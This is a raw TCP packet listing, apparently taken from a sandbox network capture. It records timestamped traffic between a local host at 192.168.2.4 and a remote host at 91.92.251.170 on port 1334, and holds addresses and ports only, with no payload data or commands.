Sep 24, 2024 22:31:13.870125055 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.870130062 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870140076 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870148897 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870151997 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870167971 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870199919 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.870239019 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.870251894 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870260954 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870265007 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870268106 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870270967 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870274067 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870276928 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870296001 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870304108 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870312929 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870330095 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.870341063 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870351076 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870358944 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870376110 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870384932 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870388031 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870390892 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870393991 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870402098 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870407104 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.870420933 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870429993 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870438099 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870448112 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870457888 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870490074 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.870565891 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874032974 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874097109 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874099970 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874110937 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874119997 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874140024 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874156952 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874200106 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874207973 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874233007 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874260902 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874324083 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874356985 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874427080 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874453068 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874463081 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874469995 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874509096 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874530077 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874560118 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874567032 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874582052 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874610901 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874639034 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874644995 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874655008 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874710083 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874711037 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874718904 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874727964 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874736071 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874747038 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874751091 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874756098 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874795914 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874795914 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874804974 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874809027 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874814034 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874819040 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874839067 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874849081 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874856949 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874891043 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874954939 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.874955893 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.874964952 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875005007 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875013113 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875026941 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875063896 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875063896 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875076056 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875078917 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875082970 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875111103 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875118971 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875145912 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875169039 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875179052 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875183105 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875188112 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875191927 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875205040 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875231028 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875232935 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875240088 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875245094 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875262976 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875272989 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875291109 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875298023 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875299931 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875332117 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875343084 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875345945 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875349998 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875374079 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875379086 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875401974 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875436068 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875467062 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875477076 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875485897 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875494003 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875510931 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875520945 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875539064 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875546932 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875556946 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875560045 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875621080 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875624895 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875634909 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875643015 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875680923 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875705004 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875706911 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875716925 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875725031 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875734091 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875741959 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875751019 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875761986 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875771046 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875773907 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875773907 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875830889 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.875952959 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875962019 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875965118 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875968933 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875972033 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875974894 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875983000 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875986099 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875996113 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.875999928 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876012087 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876024008 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876032114 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876048088 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876054049 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.876055956 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876065016 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876068115 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876101971 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876111984 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876120090 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876127958 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876147032 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876151085 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.876154900 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876157999 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876163960 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876185894 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876195908 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876199007 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876224995 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876224041 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.876233101 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876269102 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876277924 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876285076 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.876308918 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876319885 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876329899 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876341105 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876344919 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.876351118 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.876379967 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.876414061 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.878957033 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879014969 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.879523993 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879542112 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879549026 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879575014 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879581928 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.879642010 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.879662991 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879672050 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879676104 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879678011 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879682064 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879688978 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879704952 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879712105 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879719973 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879729033 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879738092 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879740000 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.879745960 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879777908 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.879796028 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.879801989 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879811049 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879815102 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879818916 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879826069 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879842043 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879852057 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879864931 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.879867077 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879883051 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879892111 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879894972 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.879903078 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879914045 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.879925966 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.879941940 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.879975080 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879983902 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879987955 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879995108 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.879997969 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880042076 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880083084 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880091906 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880100965 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880109072 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880117893 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880125999 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880135059 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880137920 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880137920 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880143881 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880151987 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880163908 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880166054 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880172968 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880181074 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880187035 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880188942 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880198002 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880207062 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880233049 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880259991 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880275965 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880285025 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880292892 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880301952 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880310059 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880319118 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880321980 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880327940 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880347013 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880359888 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880362988 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880372047 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880376101 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880378962 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880388021 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880395889 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880404949 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880414963 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880435944 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880443096 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880444050 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880449057 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880458117 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880466938 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880470037 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880472898 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880474091 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880489111 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880492926 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880501986 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880510092 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880511999 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880527973 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880536079 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880537033 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880546093 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880552053 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880567074 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880579948 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880589008 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880597115 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880601883 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880604982 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880614996 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880620003 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880630970 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880641937 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880657911 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880682945 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880692005 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880695105 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880702972 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880711079 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880713940 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880731106 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880737066 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880749941 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880758047 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880759001 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880765915 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880780935 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880791903 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880796909 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880805016 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880812883 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880812883 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880821943 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880825996 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880841970 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880861044 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.880897999 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880908012 CEST	1334	49732	91.92.251.170	192.168.2.4
